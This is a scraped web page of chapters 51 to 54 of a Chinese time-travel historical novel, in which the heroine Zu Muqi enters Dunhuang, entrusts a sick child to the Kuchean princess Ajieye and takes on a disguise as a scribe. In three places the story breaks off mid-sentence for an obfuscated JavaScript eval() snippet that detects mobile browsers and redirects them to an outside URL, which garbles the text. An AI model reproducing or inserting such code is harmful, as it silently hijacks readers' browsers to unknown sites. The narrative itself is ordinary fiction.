女子从领口扯出玉牌,“放我入城,我有玄玉阁令牌。” 远处飞来如雨般的箭矢,向流民与羌人无差别攻击,偏偏避开骆驼的方向。一支黑衣骑兵疾驰而来,手起刀落。他们所到之处,不留活口,这样的杀伤力在战场上所向披靡,他们一边在保护白骆驼女子,一边在追杀羌人。 混乱中,阿祇背着孩子没停下飞奔的脚步,周围的血腥味让人心惊胆寒。 沮渠蒙逊,他疯了…… 伴随着轰隆的声响,厚重的敦煌大门居然打开一道缝。周围流民们如疯了一般,朝着希望的方向冲了过来,但大多数手无寸铁的流民,被羌人拉来当做挡箭肉盾,成了中箭的死尸。乱军中,奔过来一匹快马,背上黑色长发如修罗的人挥刀杀戮,所过之处,鲜血四溅,断肢亡魂无数,修罗赤红着眼睛,向远处高喊:“阿祇!” 沮渠蒙逊,他来了。 三天前,沮渠蒙逊率领黑铁骑,在建康击退江州刺史的兵马,天没亮,一封密信就送到他的手里:“女人和前程,能选一个。” 随信附上了一把匕首, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他整个人笼罩在逆光之中,古铜色的臂膀上血迹斑斑,也不知道是他自己的,还是别人的,修罗般的血腥与危险混合一身,目光牢牢落在城门口的骆驼上。 阿祇回头看见他,并未停下脚步。 沮渠蒙逊伸出手,小心翼翼地说她说:“阿祇,过来。” 阿祇眼神里没有怨恨,没有欣喜,也没有感动。 她第一次亲眼见沮渠蒙逊的杀戮,身边尽是尸体,有羌人的,有流民的,男女老少都有,死状凄惨无比,她忍住胃里翻江倒海地看着沮渠蒙逊,修罗之名有了实质感观,过于震撼,她摇了摇头。 “过来。”沮渠蒙逊又唤了一遍。 前途退路尽断,无数死尸环绕,阿祇不知何去何从,好像要陷入梦魇。 这时天空中传来一声悲天悯人的佛号:“阿弥陀佛。” 阿祇警醒,抬头望天。 敦煌的城楼上好像有个僧人,沮渠蒙逊心下一沉,加快飞奔,他不敢想他的女人要抛下自己,不,她不能。沮渠蒙逊立刻嘶吼:“阿祇,停下!” 阿祇心神归位,她差点忘了,这里终究是人命如草芥的地方,哪怕有儿女情长,哪怕有浮华闹市,自己终究是个飘零的凡人。就在这时,敦煌城门,缓缓打开。骆驼上的祖慕祇罩上兜帽,抱着昏睡的孩子,义无反顾地随人流进入敦煌城中。 沮渠蒙逊从惊心到怒极,心中反反复复只一个念头:这个女人弃了他,她弃了他。 敦煌的城门开了,又关上,消失了追寻的身影。 他们终究要走上不同的路。 51. 敦煌城 东有启明,西有长庚。 不知昏睡了多久,阿祇一激灵被惊醒。 她睁开双眼,累极了的她意识有短暂空白,想起她和潭儿已然入城,却被锁在这座庵堂一夜,她怕别人对他们的身份有所怀疑,早准备好孩子的身份——潭儿,二人以秭弟相称。潭儿,就是他们相遇的地方。 这个拥挤的房间,专门收留女人和孩子。 潭儿睡的很沉,他们挤在简陋的土炕之上,身边还有衣衫褴褛的妇孺。环顾四周,东墙前一尊陈旧的药师佛像映入眼帘,这让她不禁想起与沮渠蒙逊相遇的佛塔,那时她曾说,自己与这位几经世事的药师佛有缘,果不期然又相遇了。 一早,传来叮叮当当的人声嘈杂,孩子深沉的呼吸声,她在焦虑中萌生出一丝力量,有多少日子没有躺在有屋顶的房子里好好睡一觉了,至少她还好好活着。 门锁开了,有声音响起:“都出来吃饭!” 木门吱扭被推开,一个面色黝黑的干瘦女人招呼着众人,她的头发盘在包巾中,手中端着一盆粟米汤,进了院便放在庵堂的施舍台上。 “张婶,大壮娘,快别打扫了,过来帮忙。” 听到动静,周围走出不少老弱妇孺,一天就一顿稀饭,错过就得饿肚子。墙角的柜子上叠着碗,她们一人拿了一个碗,在被叫做张婶和大壮娘的张罗下,排队领吃的。 干瘦女人叫李二娘,一边搅拌着稀饭,一边念叨:“你们也别抱怨米汤太稀,如今到处都在打仗,能有口吃的就得谢天谢地。” 妇孺们知道好歹,纷纷感激说:“谢谢李二娘。” 庵堂里住的都是女眷,乱世之中能有地方安身立命,已然是大幸。女人们拿着破碗,陆续回到家人身边。阿祇排在最后,她听见前面的女人同李二娘说话,正是最闲不下来的大壮娘和张婶,她们各带着一个孩子,跟李二娘套近乎。 “李二娘,明个能不能发点干粮,额们大人没关系,多做点活也行,求求你让娃儿们吃顿饱饭。” 李二娘为人随和,知道这些逃难来的孤儿寡母们不容易。她看了眼不远处眼巴巴的大眼睛,抿了抿嘴,从自己的包袱里掏出一个馍,掰开两半,给她们的孩子们分了。 李二娘无奈地说:“大壮娘,你家大壮不小了,想吃饱饭倒不如送去石窟山。” 大壮娘有些犹豫,儿子从小体弱,她实在舍不得让他去开佛洞吃苦,“额能一起去吗?大壮那短命的爹撒手走了,这娃现在就是额的命。” “你知道规矩,石窟山里都是男人,还有外邦的能工巧匠,大壮去了说不定还能学些本事,你个大字不识的女人去了做甚?” 大壮娘自不敢再多言。 李二娘又道:“修佛洞是大功德的事,苦是苦点,但有大和尚在,肯定能保住你儿子的命,你留下做点缝补洗涮的杂活儿,有口饭吃就谢天谢地了。” “额就是舍不得和娃娃分开,不想他吃苦。” 李二娘看看十来岁还躲在母亲身后的大壮,摇摇头,到底心软了,“要是舍不得,额们庄子里农耕缺人,只要你们肯卖身,说不定管事的能收了你们。” “只要不和孩子分开,卖身也行,哎……大壮,快给二娘跪下,以后她就是你亲姨。” 李二娘阻止被按着下跪的孩子:“别急,事不一定成,庄子就算收人怕也要分开你们住的,大壮娘,你可想清楚了啊。” 大壮娘咬咬牙,想着能见到娃,就点头答应了。 阿祇默默听着两个女人的对话,心下了然,看来吕光如历史所记载,并没有回到长安,而是落脚凉州,敦煌怕也已经收归囊中。她心急潭儿的病,手中不缺银钱却无门路,看来眼前这位李二娘或许是个不错的选择。 当李二娘的稀饭发到她时,阿祇摸索了一下身上,将不起眼的银锭塞进李二娘手里,低声恳求道:“这位娘子,我想见玄玉阁的管事,可否行个方便?” 李二娘打量了阿祇一眼,全身灰不溜秋的小娘子张口就要见玄玉阁的管事,实在看不出阿祇的底细,却不敢怠慢:“玄玉阁被查封了,小娘子不知?” 阿祇大惊:“什么时候的事?” 李二娘叹了口气,说:“两个月前征西大将军来到敦煌,玄玉阁长老们早已迁回了陇西,玄郎君不在,留下的掌事们不顺从大将军,店铺可不就给封了?” 阿祇没想到敦煌形势变化这么快,再不敢拿出玄玉令,又恳求李二娘说:“我阿弟病得厉害,娘子能否请您找个医工来看看?” 李二娘是跑腿送饭的厨娘,心地善良,她将手中的银簪悄悄还给阿祇,小声对她说:“怕是难,城中的医馆挤满了伤兵,老百姓病了没人管,只有等每月初一、十五大和尚下山,看病不要钱,就怕孩子等不起。” “您刚说的大和尚是……” 大和尚来敦煌的时间虽短,善名却如雷贯耳。李二娘方才和大壮娘的对话,没刻意压低声音,阿祇想到昨夜城楼上的和尚身影,心中隐隐有猜测。 这时,张婶凑过来说:“大和尚不让咱叫他禅师,他是大将军从西域带回来的高僧,既会看病也会给死了的人念经超度,昨日十五,大和尚听说城门外死了好多人,特意登城为冤魂诵经呢。” 又有人插嘴:“额,你是昨晚新来的,多亏了大和尚求情让你们入城。”李二娘性子直爽,打断女人们:“托大将军的福,保凉州边关安稳,敦煌昌盛。” 张婶心直嘴快地牢骚说:“大将军刚来的时候可死了不少人呐……” 李二娘低声呵斥:“快住嘴,你不要命了。” 张婶恍然大悟,赶紧点头:“额和额家柱子逃荒路上差点饿死,若不是多亏大将军慈悲收留了额们,阿弥陀佛,额们都不知道死在哪里了。” 李二娘心中也念着经,谁不知暗中养活难民的,不是什么大将军而是玄玉阁,可谁敢多说一句呢,“新上任的段大人很是敬重这位大和尚,昨夜大和尚让开城门,从尸山中放进城了好多流民,真是功德一件,阿弥陀佛……” 李二娘哆嗦着双手合十,“听说外面到处都是死人,血都染红了护城河。” 阿祇好奇大和尚的身份,问到:“敢问这位高僧是否叫鸠摩罗什?” 李二娘一拍大腿,差点跳起来:“可不正叫这个什么罗什,额男人 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吕光带着鸠摩罗什以及龟兹公主阿竭耶,刚抵达玉门关,梁熙以吕光擅自班师为由率军抵抗,建康大捷,武威太守彭济活捉梁熙,吕光奋而杀之。大秦的朝局动荡,玄玉阁的家主玄郎君不知所踪,段业受命执掌敦煌太守之职,鸠摩罗什以及阿竭耶皆被囚禁于此。 “那我怎样才能见到那位公主?” “公主并不接见陌生人,但额们庄子会送菜过去,见到她的侍女,也许说得上话。” ………………………………………… 太白堂。 这里原本是禅院的住所,如今阿竭耶和侍女就暂居于此。小侍女刚要出门,就被站在门口的阿祇秭弟吓了一跳,龟兹语脱口而出,“你们是什么人?” 阿祇已经换了衣服,清理干净自己,用龟兹语回答:“我叫祖慕祇,求见阿竭耶公主。” 侍女见对方会说西域的语言,便用龟兹语客气拒绝:“有事和我说,公主不见外客。” 眼前的女子摘下面纱,额间朱砂动人,清丽的面容上是一双真诚的眼睛,她摘下白皙手指上刻着于阗王族徽标的戒指,递给侍女。 “于阗伽蓝,有求龟兹公主。” 侍女极有眼色,略看了一眼戒指,立刻恭敬道:“请您稍候。” 一个时辰后…… 阿竭耶公主收了针,侍女为潭儿的外伤敷上药,这种外伤引发的感染症状,没有抗生素阿祇根本束手无策,“感谢公主施以援手,救了这孩子。” 阿祇身上的银钱不少,阿竭耶却一概拒绝。 玄玉阁盛名西域,然玄郎君其人甚为低调,对这位神秘夫人保护得极好。然而今非昔比,玄玉阁的势力一瞬间几乎消失殆尽,辛夫人的出现就特别耐人寻味,若不是有玄玉阁玉牌以及于阗王室指环,阿竭耶起初是万不敢信她的身份的。 “我知道你是玄郎君的辛夫人,也是于阗伽蓝公主,玄玉阁救了我父王,今日的缘分正是因果。”阿祇不敢接这话题,毕竟她这身份掺了水份,“锦瑟无端,看似无常,但世间一切因缘际会,皆是善恶定数。公主医者仁心,阿祇感激不尽。” 阿竭耶谦逊道:“我医术不精,是这孩子意志顽强,托生在夫人膝下总归是个有福之人。” 阿祇微愣,微微一笑,“潭儿是我路上偶遇,他的身世我并不知晓。” 52. 阿竭耶 “潭儿是我路上偶遇,他的身世我并不知晓。” 这个时候说破与孩子的关系,她是不希望他被有心人利用,自己已经被传成玄玉阁辛夫人,如果再冒出个子嗣,岂不正好给人当把柄。 阿竭耶尴尬道歉,“失礼了,方才我给孩子扎针见他十分依赖阿祇,以为你们是至亲,是阿竭耶冒昧了。”她二人年龄相仿,好奇心驱使下,阿竭耶问出心底的疑惑:“敦煌城换了新太守,阿祇怎敢孤身来此?” 她哪里知道自己逃出狼窝,又入虎穴。 阿祇苦笑,她并不知晓敦煌风云变幻如此之快,能说她是走投无路了吗? “敦煌不复往日,然行走世间不复自随心行,不生邪见、憍慢嗔恚诸恶之心,你我浮萍无憾往事,只求心安处。” 龟兹和于阗作为西域两大强国,阿竭耶与阿依夏木年少时曾暗暗较劲,到底谁才是西域最尊贵的公主。眼前之人素衣简装,清风朗月,容貌倾城,这样的洒脱是阿竭耶所羡慕的。显然,她们都输了。阿竭耶心生亲近之意,“你我以小字相称可好?阿祇,叫我阿竭耶吧。” 阿祇点头,“嗯,阿竭耶。” 自从作了流亡的公主,她就变得多愁善感,自怨自哀。 西域大乱,不成想吕光只用了三年,便收复三十六国。听闻于阗的和田城差点重蹈龟兹覆辙,诸多势力牵扯入局,最终女王被扶持登基,又是玄玉阁从中调衡,连同传出辛夫人的大名,她独闯大漠与玄郎君伉俪情深,不费一兵一卒解救于阗危难。 阿竭耶好奇,究竟是什么样的女子能让于阗国女王认作姐妹,让玄玉阁的家主金屋藏娇,当眼前的女子带个病孩子突然现身太白堂,让她既惊讶,又觉得这样特立独行的辛夫人,也是理所当然。 阿竭耶半是欣赏半是嫉妒,“阿祇真是与众不同。” 阿祇感激她的救助,真诚道:“阿竭耶医术超凡,令阿祇佩服。” 阿竭耶曾是龟兹王宫娇养的雪莲,如今拉国师堕入凡尘,污名在外,第一次重获尊重称赞,不由感动。阿祇取出手抄经书绢帛,双手奉送到阿竭耶面前,“悉君菩提心,投桃报李,我愿将这半卷经文送与阿竭耶…… 愿以此功德,庄严佛净土。 上报四重恩,下济三途苦。” 听阿祇唱诵其中一段“回向偈”。 阿竭耶感慨万分,她回想起往事,感慨道:“这半卷《阿弥陀经》是鸠摩罗什所译的第一部经书,孤本被我父王封存起来,当年精绝王子游历龟兹参观藏经阁,得以抄录了半卷,一晃数载得以重见,你可知这半卷文在黑市价值万金?” 阿祇摇摇头,并不惊讶。 这半卷古经文,在她那个年代何止万金? 她越是淡定,阿竭耶越是心惊。 “你的字很美,像你的人一样,罗什若看到用汉字书写的经文,一定很欣慰。” 阿竭耶的汉文并不流利,深邃的目光落在阿祇身上有惊叹和赞许,也有一丝羡慕。她与鸠摩罗什的故事,并不是什么秘密,因此阿竭耶的身份十分尴尬,无论在龟兹还是中原,她只会比自己更难。 故国轰然崩塌,与亲人分隔两地。阿竭耶哀叹:“世间多疾苦,弱女子又能怎样?” “女子非天生孱弱,公主以身救国,大义。” 阿竭耶眼睛一亮,倍受震撼。 这室内光线并不明亮,阿竭耶从书架边走来,身上光影漂游,掩饰脸上的神情变换,她亲自给阿祇倒了一杯水,心中来回衡量眼前的利弊,开口说:“吕光虽不在敦煌,但这里到处有他的眼线,你到我这里的消息怕已经传出去了,阿祇接下来有何打算?” 阿祇给潭儿喂完药后,侍女将孩子带去厢房休息。她掏出几片金叶子,如今金子是硬通货,希望阿竭耶能收下,“潭儿是苦命的孩子,我有个不情之请。” “我与阿祇一见如故,但说无妨。” 阿祇思量再三,“能否请阿竭耶收留潭儿几日?” “一路鸠摩罗什与我东行,多亏玄玉阁的暗中相助,幽居在太白堂能有潭儿作伴,正合我意。” 阿竭耶不接受她的钱财,“新任敦煌太守段业对我和鸠摩罗什甚为礼遇,在这太白堂里,财帛对阿竭耶有何意义?”阿祇将金叶子塞到侍女手中,行万里路的经验告诉她,一个铜板可难到她这样的穿越女,没有真本事,赚钱不易啊! “若说行走在外,我的心得所获便是未雨绸缪,诊疗金是我的心意,阿竭耶未来可期,莫再推辞。”阿祇眼神真诚,阿竭耶从未想过人生有一天会为金银所愁。 “既如此,我收下便是。” 她选择相信阿祇,或许她也该考虑将来了。 “潭儿幸有阿竭耶照顾,等我安顿下来,立刻来接他。” 孩子能够有相对稳定的环境养病,比跟着她流浪更好。阿祇身上还有一块玉牌,是当年小林留给她的玄玉阁信物,也是小林的遗物,为了潭儿的身世希望,她决定将这块玉牌一同留给阿竭耶。 “这片玉牌能帮这孩子活下去,阿竭耶请代为保管。” 阿竭耶是被摆在明面上的目标,牵制西域势力的棋子,她是个聪明的公主,对鸠摩罗什有情,对龟兹王室有义,想到鸠摩罗什,此后18年将被吕光软禁在凉州,直至弘始三年才能抵达长安,得以国师之礼待之,阿祇不禁感慨,虽不知自己前路,却想为这对淋过雨的人们撑伞。 “若哪一天阿竭耶有难,这块玉牌也能用得上。” 这是一份大礼,阿竭耶感激阿祇,当然也有私心,鸠摩罗什与她已无故国可依靠,有了这块信物就多了一份保障。正想感谢阿祇,小侍女热娜匆匆跑进来,对阿竭耶行了个礼,声音急促地说:“公主,不好了。” 阿竭耶心中一慌,“何事?” 热娜说:“国师,他,他入狱了。” 哗啦一下,阿竭耶失态地碰落杯盏。自从鸠摩罗什被软禁以来,阿竭耶只有初一、十五能见到鸠摩罗什,她是吕光牵制鸠摩罗什的工具,可她也是有感情的人。热娜语速飞快地说:“守卫说山中来了位无谶禅师,奉了段大人的命接管石窟山,他把国师软禁在一个佛洞里。” 阿竭耶慌了神,“哪里来的无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068986|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谶禅师?” “听说这个无谶,是段刺史几个月前在沙漠里捡到的乞丐,也不知如何得了段大人的器重,成了太守府的红人,昨日他接管佛窟石洞督造之令,上面印着太守大印。” 深秋已至,天色阴沉,石窟山屋舍简陋,鸠摩罗什被关押在石洞,怕熬不过西北的寒苦。阿竭耶越听脸色越难看,起身急道:“我得去趟石窟山。” …………………………………………………… 阿竭耶和鸠摩罗什,终究是一个悲剧。 辛薇作为时空旅人,也许把自己当作穿越历史的外人,所以才每逢大喜大悲的时刻才能如此冷静,自从成为祖慕祇,她很努力地不与这些名人走得太近,就怕一旦被卷入与古人有关的洪流,历史将万劫不复。古希腊哲学家亚里士多德曾说:人类是天生社会性动物。在这个世界,她还遇到了善爱、沙迦牟韦、阿依夏木、米耶以及很多默默无闻的人,早已在这里留下千丝万缕的痕迹。 敦煌城的气氛悄然在发生变化,阿竭耶被软禁在太白堂,值得庆幸的是,昨日阿祇留下了潭儿后,便连夜离去从庵堂失了踪。 段业的人来晚一步,探子怀疑昨夜入城的孤女身份。因为多了一个孩子,起初没人怀疑她与玄玉阁有什么关系,敦煌玄玉阁失势,三个月前传出的辛夫人,于阗平定后就再无消息。 话说,几日前匈奴人黑铁骑的莫名来袭,扫清了敦煌城外的羌人后,来去如风没了踪迹,探子来报太守段业,这个老家伙心中窃喜。吕光一路打通凉州,大军主力正在与河西鲜卑人斗得正酣,沮渠罗仇归顺吕光黑铁骑临时被南调姑臧,其实沮渠罗仇私下与段业交好,临走前听闻是沮渠蒙逊带兵扫清了羌人贼寇,使敦煌到建康尽数落于段业之手。 不知不觉,这一年的初雪静悄悄地降临人间。 外面雪花飘飘洒洒地落到青石阶上,润物无声,转瞬被尚有一丝地气的温度所融化。 热闹的酒肆,往来异域的商人,行脚的吆喝,贩夫走卒的叫骂,这就是千年前敦煌的生活气息。 冬日将至,干涸的土地泛起白色,下雪了,街头孤寂地走来一个潦草的书生,说潦草主要是他头发随便凌乱束起面呈菜色,衣衫搭配的不伦不类,还背了个竹篓,里面装了些笔墨纸砚,都是最普通的货色,手里打着幡挡风雪,幡上写着:“代写家书,卜卦问吉。” 书生像是走累了,坐在路边茶棚,放下一枚铜板说:“一杯热茶。” 书生戴着灰扑扑的毡帽,面色黄黑,店家送来茶碗,给他倒满热水,他双手捧着冒着热气的杯子,抿了一口茶,这时觉得脚下有异,歪着头往桌子下一看,只见咬着裤腿的毛茸茸脑袋。 “去去。”书生喝斥。 周围人瞟了他们一眼就没人关注了,书生压了压毡帽,假装小声嘟囔其实在训斥狗子说:“让你跟着白月,你怎么又跑来找我。”毛茸茸的脑袋呲牙呜咽了几声,不知道白月把努尔带到了哪个山旮旯,浑身脏兮兮的遛回来,满嘴委屈地抱怨主人的遗弃。 书生没了办法,揉了揉它的头:“没,没不要你。” 53. 潦草书生 书生正是女扮男装的祖慕祇,一路尾随的自然是努尔。 阿祇需要谋生活和打听消息,出来混总不能天天带着一只狗,太容易引起注意了。她装了半天木头,不见有用,只好抖了抖袖子,拍拍努尔安抚道:“都说了,让你和白月找个没人的地方逍遥几天,等我上了石窟山,你们再寻来便是。” 狗子抬眼看向奇怪打扮的主人,歪了歪脑袋,总觉得她又要故技重施甩了它。阿祇没想到,她的挫折人生,已经给追随自己的狗子带来心理阴影里,只得叹了口气。 天气渐冷,人来人往的街头又有人留步茶摊,有的喝茶,有的喝热汤。 这里是个露天的茶摊,老百姓没什么讲究,店家见狗子泪汪汪的望着穷困潦倒的书生,甚是可怜,便走过来拍拍它,说:“哪来的小狗,一会儿不如跟额回家。” 阿祇赶紧搭话,道:“店家好心,这狗子一路追随在下,我们算命的讲求个因果在下已经收留。正好,我这里有几个铜板,麻烦再给我来碗骨头汤,带大骨头的,外加几个馍。” 书生把招牌往旁边一放,说着就掏出几个铜板,没想到被店家制止。 店家热情说:“不就一碗骨头汤和几个馍,小郎君有好生之德,额老于也不差那几个铜板。” 没一会儿,一碗骨头汤和泡馍就端了上来,书生有礼道:“多谢店家。” 书生扔了根骨头给旁边的野狗,一人一狗,喝汤的喝汤,啃骨头的啃骨头,画面居然十分和谐。狗觉得自己不会被抛弃了,摇起了尾巴,乖乖坐在书生脚下,书生无奈摇头,兴起出口成章:“风雪不见鹿,犬吠喝汤忙,无人知所去,愁坐卦摊旁。” 茶摊店家看着书生那张黑黄黑黄的小脸,有些投缘,喊了一声:“算命的小郎君。” 书生抬头,笑呵呵地应了:“店家,还有何贵干?” “不如你算算我今日能赚多少,算对了,我再请你吃个羊腿。”店家看起来心情不错,一边擦着桌子,一边笑着对她说。 阿祇扫了一眼茶摊店家行囊里准备给幼童的玩具和鞋帽,她心中有数,便拿出竹篓里的小心裹起来的物件,打开竟是个龟壳,她往里面投进去三个古币,静心冥神,一句废话没说就摇起了龟卦,倒出来古币,认真拨弄。店家见这书生当真开卦,也放下手上的活儿,靠过来笑问:“怎样?” 书生闭着眼睛掐指一算,煞有其事地说了两个字:“千金。” 店家一愣,哈哈大笑:“小郎君真会说话。”说着,店家承人吉言就要付钱,被阿祇婉言谢绝:“我们算命的讲究因果,店家已施舍我们吃食,这卦,全当我还店家的人情。” 旁边的几桌客人听到两人的对话,也叽叽咕咕地起来。 过了没过久,前方走来一位老妇人,坐在茶摊稍作休息,她见到阿祇掏出的笔墨纸砚和拉风的招牌,问了问才知道,竟是替人写家书的郎君,“小郎君,可否请你给我大郎写封信?” “大娘,写信十个铜板。” 书生不通人情,上来一口价。 茶摊店家望了一眼认真的小郎君,摇了摇头,不多做理会,算命的书生郎君与野狗论因果,张口就说他有千金,或许世外之人就是这个样子吧,神神叨叨的样子。谁知书生又对老妇人说:“两个铜板归店家,麻烦店家,给大娘来碗热汤。” 茶摊店家一听,忙应了声:“好咧。” 大娘用的钱袋子是锦布所制,家境应该不差,犹犹豫豫地才开口:“额家大郎不识字,他在石窟山挖佛洞,往家里寄了不少钱,人就是不回来,额想催他下山成亲。” 儿子寄钱应该是个孝顺的,不愿回家成亲,八成是不满意新娘。看来哪个时代两代人都有代沟,书生知道第一单生意稳了。 “大娘,不识字好说,信能写,人肯定会回来。” 大娘一听,眼睛都亮了,她冒着风雪来到这石窟山附近,就是想着有人能给儿子带个话,早点回家,没想到竟遇上了个好心的小郎君,赶紧哆哆嗦嗦地掏出十个铜板,书生不客气地接过来,留下两枚给店家,剩下的收进囊中,顺便给老妇人搬来一个板凳。 店家嘟囔:“儿行千里母担心,母行千里儿不愁。” 辛薇在前世,父母也曾悉心培养过她的艺术才华,工笔画也是她走向考古学这条道路上的必修课,她在第一眼见到风雪中走来的老妇人就观察过,她鞋底厚实,衣裳暖和,锦袋有分量,算不得穷苦人家,她甘愿冒风雪出行,眼神忧郁,便知她有心结。 她请老妇人坐下,从竹篓里掏出纸,并没有拿毛笔墨砚,而是跟店家问:“有炭条没?” 店家不解,“炭条是甚?” “就是将您灶火里烧过的红柳木柴火给我两根。” “那好说。”说着,店家就抽出一根黢黑的烧火棍递给算命小郎君,小郎君吹灭了火星,等木炭条冷却之后才动笔。 这种木炭条易上色擦匀,就是废料又易掉色,不容易保存,这样既不用担心画作持续过久,被有心人发现端倪,引人注意。 阿祇对照老妇人打好比例,寥寥几笔勾勒出她殷切焦急的五官,风雪中盼儿归家的母亲形象落于纸上,阴影勾画细节细腻,酷似老妇人本人,冻粗的双手和含泪的眼眸,丝丝白发覆上霜雪,别说是子女,就算茶摊上的客人与店家看了都被深深触动,真的太传神了。 阿祇吹干画纸,最后提笔:“谁言寸草心,报得三春晖。” 希望有心人,能够读出这句话给大娘的儿子。 写完后,阿祇把画交到妇人手中,老妇人也不识字,可就是觉得这张画把她想说的画得一清二楚,眼泪瞬间积聚,一颗豆大的泪珠不受控,刚好低落在雪花上,印开一片。 茶摊店家深深叹了口气,“老阿姊,我见你来过几趟,原来竟是为了儿郎。也罢,你若信得过我老于,就把这信留在我这摊子,如遇到上山的采办,我就托人给你捎上去。” “那,敢情好!额儿大郎叫刘全柱,家在十里铺。” “放心,我家也在十里铺附近。” 老妇人就要给茶摊店家和阿祇行礼,被阿祇一把扶住了,“大娘,回家去吧,信送到了全柱必定回家探望,到时候,您就听听大郎的心事,心结没了,人自然就更亲近了,您说对吧?” 书信软语,毕竟只能动情一时。 有时候,疏远人与人的,往往是亲情的逼迫。老妇人听劝,感谢了众人便踏上了回程。 人刚走没多久,又有人朝茶摊跑来,边跑还边喊:“二叔,快回家,我二婶生了,是个闺女。” 茶摊店家先是一惊,后是一喜,他忙向众人拱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083004|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手道:“客官们,对不住了,家有喜事,今日提早收摊。” 男人嘴角的笑容就没断过,阿祇与其他客人纷纷恭喜店家,西北民风淳朴,老乡家有喜事陌生人见了也会道喜。其中一位笑道:“恭喜店家老来得女,看来小郎君算得准,店家今日可不就得了‘千金’。” 众人皆笑,忙着站起身帮他收摊。 茶摊店家笑着点头:“哈哈,准,太准了。” 他将灶膛里剩下的羊腿用油纸包了三层,送给算命的书生,喜气洋洋地说:“借小郎君吉言了,若你明天得空,定要再来我这摆摊哈!” “自是当然。” 潦草落魄书生拎着烤羊腿,与狗子走在越下越紧的大雪里,羊腿还热乎着,书生掰下一小块肉,扔进努尔嘴里,“你这小傻子,为什么不跟白月去玩?” 狗子呜咽几声,那意思大概白月欺负它。 “若不是白月护着你,你在后山猎食,就被更多野兽欺负了。” 努尔初来乍到,每天都不会空手而归。努尔哼唧着低下头,像在说:“白月威猛。” 阿祇一早准备了丰盛新鲜的草料才出了门,考虑到白月带她们找了落脚之地,感激的态度是一定要有的,“快走,雪下得大了,明天你跟白月在家待着。” 一人一狗,冒雪小跑起来。 远远的,她们看到一棵高大的无忧树。 这棵无忧树高超过十米,羽状复叶还没掉光,刚好遮蔽风雪,树下有一个小院子。 相传佛祖的母亲摩耶夫人就是在无忧树下诞出释迦摩尼,因此也称其为圣树。圣树位于敦煌城北的后山脚下,后山的烧窑皆是主家赵氏族产,也就是李暠的舅父家产,即便赵舅父赴任官吏,周围的佃农和长工有族中管事接管,在敦煌无人敢侵吞这片老宅院。 “汪,汪……” 努尔犬吠了几声,主人忙摆了个嘘声动作。 阿祇现在的样子是个痨病书生,一股穷酸样,黑黑瘦瘦的,身边还跟着一只“野狗”,努尔在与野狗的斗争中虽长出几分痞样,凶起来呲牙咧嘴,但战斗力就是个渣渣,好在路上人少,没人靠近她们生怕招惹晦气。 她们来到宅院后门,见到门虚掩着,记得出门时候明明栓好了后门,她是从墙上翻出来的,怎么门就开了?阿祇嘀咕:“不会吧,人设都这样了,还被歹人惦记?” 她不敢贸然进去,悄悄从门缝里打探里面有动静,好像有人在说:“她怎把你变成了这副模样?” 阿祇小心推开门缝,瞥一眼院子,放下招牌幡,给努尔使了个眼色。 努尔拐了个弯,从侧面的一个狗洞爬进去,作她的内应。阿祇小心进院,悠闲吃着草料的白月鼻孔朝天地傲娇一下,转个身,露出它背后的人影。阿祇先下手为强,抽刀正要冲过来架脖子。 她大喝:“你是谁?” 话刚出口,努尔早已钻进院子,一声没吭地屁颠屁颠围着人家转圈圈,说好的前后夹击呢? 努尔向来无利不起早,她打量那个背影,还是没认出眼前花白头发的老者,老者极有耐心地给白月梳毛,缓缓转身叹道:“这毛发,看习惯了其实也还好。” 阿祇瞬间愣住:“你,你……” 老者回头,徐徐道:“三月未见,阿祇怎么连话都说不利落了。” 54. 故人重逢 见老者的神情,阿祇的心情从惊讶到激动,最后竟忍不住大笑起来,真是人生何处不相逢。 眼前的人身材依旧修长,发丝花白凌乱,下巴贴着密密的白胡子,眼眶周围点着老年斑,若不是白月极其认主、努尔慕强的毛病,她都不敢相信自己的眼睛,惊呼道:“李暠,李玄盛?” 老者放下毛刷,看了眼病娇怪“书生”和谄媚的努尔,不由得嘴角上翘,“阿祇,玩得可开心?”历经磨难的她看上去开心么?好吧,现在是有点。 两人重逢的画面有点滑稽,像变装节目的惊喜,阿祇的样子自不必说,对面还是那个皎若云间月的李暠吗?反应过来,她赶紧藏起双刀,匆匆掩上门。“老者”这边也栓好驴车,车上拉着些木料,有几根是上好的,倒是像循规蹈矩的烧窑手艺人,白月看不惯驴子得了主人的待遇,走过去蹭主人的手臂。 玄盛安抚了一下白月的头,对某人翻译说:“白月说,它的丑,情非得已。” 阿祇瞟了一眼姜黄骆驼,白月假装没看到她的眼神,新主人很头疼,摸了摸它的毛:“白月,伪装的最高境界就是无我,有了里子还要面子做甚?你现在的日子不滋润吗?有吃,有喝,有自由,后山溜达圈扛把子,谁敢说你半个丑字?” 阿祇忙掩盖自己的嘴,“不不,白月气质无双。” 所以白骆驼、糊骆驼,重要吗?当然不重要。 这个话题不宜纠缠,玄盛看她的眼神明亮,阿祇笑眯眯地对玄盛说:“你,老了。” 李暠不以为意,也笑着说:“你,丑了。” 呵呵,所以说面子不重要,主要看气质。 